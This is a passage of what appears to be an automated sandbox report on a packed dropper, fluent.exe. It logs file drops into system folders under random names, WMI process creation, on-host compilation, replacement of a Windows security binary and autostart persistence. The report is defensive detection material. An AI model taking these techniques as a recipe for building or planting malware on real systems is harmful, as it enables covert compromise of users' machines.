Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: apphelp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: apphelp.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll
Source: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\fluent.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: fluent.exe

Static file information: File size 3315422 > 1048576

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: fluent.exe, fluent.exe, 00000000.00000002.1695996164.00000000006E1000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.pdb source: driverSavesNet.exe, 00000005.00000002.1913167210.000000000382D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb23.6.20320.6 2023-10-04 13-01-22-078.logt source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 3E1F1BD.logEntkrnlmp.pdb source: gNKaMdWfDFzDkhEeKzQ.exe, 0000000B.00000002.2965658866.000000001C40A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\fluent.exe

Unpacked PE file: 0.2.fluent.exe.6e0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;Unknown_Section5:EW;.rsrc:EW;Unknown_Section7:EW;cheat:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:W;Unknown_Section4:R;Unknown_Section5:R;.rsrc:EW;Unknown_Section7:EW;cheat:EW;

Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\fluent.exe

File created: C:\comReviewintocommon\__tmp_rar_sfx_access_check_5143781

Jump to behavior

Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name:
Source: fluent.exe	Static PE information: section name: cheat

Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006FF640 push ecx; ret	0_2_006FF653
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0070C63A push edi; ret	0_2_0070C641
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_006FEB78 push eax; ret	0_2_006FEB96
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0070DDED push dword ptr [esp+ecx-75h]; iretd	0_2_0070DDF1
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00706DAE push dword ptr [eax+esi+3Bh]; iretd	0_2_00706DBB
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00773104 push ecx; mov dword ptr [esp], edx	0_2_00773109
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076728C push 007676D8h; ret	0_2_007676D0
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0077332C push ecx; mov dword ptr [esp], edx	0_2_00773331
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F3EA push 0075F418h; ret	0_2_0075F410
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_007703A0 push 00770400h; ret	0_2_007703F8
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00771454 push 007714A1h; ret	0_2_00771499
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F45C push 0075F488h; ret	0_2_0075F480
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00773448 push ecx; mov dword ptr [esp], edx	0_2_0077344D
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F424 push 0075F450h; ret	0_2_0075F448
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F4F8 push 0075F52Ch; ret	0_2_0075F524
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F494 push 0075F4C0h; ret	0_2_0075F4B8
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00770480 push 007705A4h; ret	0_2_0077059C
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0077348C push ecx; mov dword ptr [esp], edx	0_2_00773491
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0077554C push ecx; mov dword ptr [esp], edx	0_2_0077554D
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076F536 push 0076F5B5h; ret	0_2_0076F5AD
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075D5F0 push 0075D641h; ret	0_2_0075D639
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076E62C push 0076E6A2h; ret	0_2_0076E69A
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_007676DA push 0076774Bh; ret	0_2_00767743
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076E6A4 push 0076E74Ch; ret	0_2_0076E744
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_00770684 push ecx; mov dword ptr [esp], ecx	0_2_00770687
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076E74E push 0076E79Ch; ret	0_2_0076E794
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075F7D0 push 0075F85Ch; ret	0_2_0075F854
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076785E push 0076788Ch; ret	0_2_00767884
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0076F804 push 0076F830h; ret	0_2_0076F828
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_007708F4 push ecx; mov dword ptr [esp], ecx	0_2_007708F6
Source: C:\Users\user\Desktop\fluent.exe	Code function: 0_2_0075D8AA push 0075D8D8h; ret	0_2_0075D8D0

Source: fluent.exe	Static PE information: section name: entropy: 7.996270662936043
Source: fluent.exe	Static PE information: section name: entropy: 7.982389583815037
Source: fluent.exe	Static PE information: section name: entropy: 7.486975522934264
Source: fluent.exe	Static PE information: section name: entropy: 7.941265228693602
Source: fluent.exe	Static PE information: section name: entropy: 7.849149480386021
Source: fluent.exe	Static PE information: section name: cheat entropy: 7.983533870489556
Source: driverSavesNet.exe.0.dr	Static PE information: section name: .text entropy: 7.563215901941685
Source: gNKaMdWfDFzDkhEeKzQ.exe.5.dr	Static PE information: section name: .text entropy: 7.563215901941685
Source: gNKaMdWfDFzDkhEeKzQ.exe0.5.dr	Static PE information: section name: .text entropy: 7.563215901941685
Source: gNKaMdWfDFzDkhEeKzQ.exe1.5.dr	Static PE information: section name: .text entropy: 7.563215901941685
Source: gNKaMdWfDFzDkhEeKzQ.exe2.5.dr	Static PE information: section name: .text entropy: 7.563215901941685
Source: gNKaMdWfDFzDkhEeKzQ.exe3.5.dr	Static PE information: section name: .text entropy: 7.563215901941685

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\comReviewintocommon\driverSavesNet.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\gNKaMdWfDFzDkhEeKzQ.exe	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\maBeiKPb.log	Jump to dropped file
Source: C:\Users\user\Desktop\fluent.exe	File created: C:\comReviewintocommon\driverSavesNet.exe	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\xGvCnmjD.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\VbfYWdkt.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\XWWhkGoH.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\tgjDTeKx.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\LtLImAfM.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\BKssDYZe.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\Default\AppData\Roaming\gNKaMdWfDFzDkhEeKzQ.exe	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\MisrAuuZ.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\kDbNjluP.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\gzfXUzEp.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\QOjHvYIG.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\VLAgkoJG.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe			Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe			Jump to dropped file

Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\xGvCnmjD.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\gzfXUzEp.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\XWWhkGoH.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\VLAgkoJG.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\MisrAuuZ.log	Jump to dropped file
Source: C:\comReviewintocommon\driverSavesNet.exe	File created: C:\Users\user\Desktop\maBeiKPb.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\kDbNjluP.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\QOjHvYIG.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\VbfYWdkt.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\LtLImAfM.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\BKssDYZe.log	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	File created: C:\Users\user\Desktop\tgjDTeKx.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\comReviewintocommon\driverSavesNet.exe

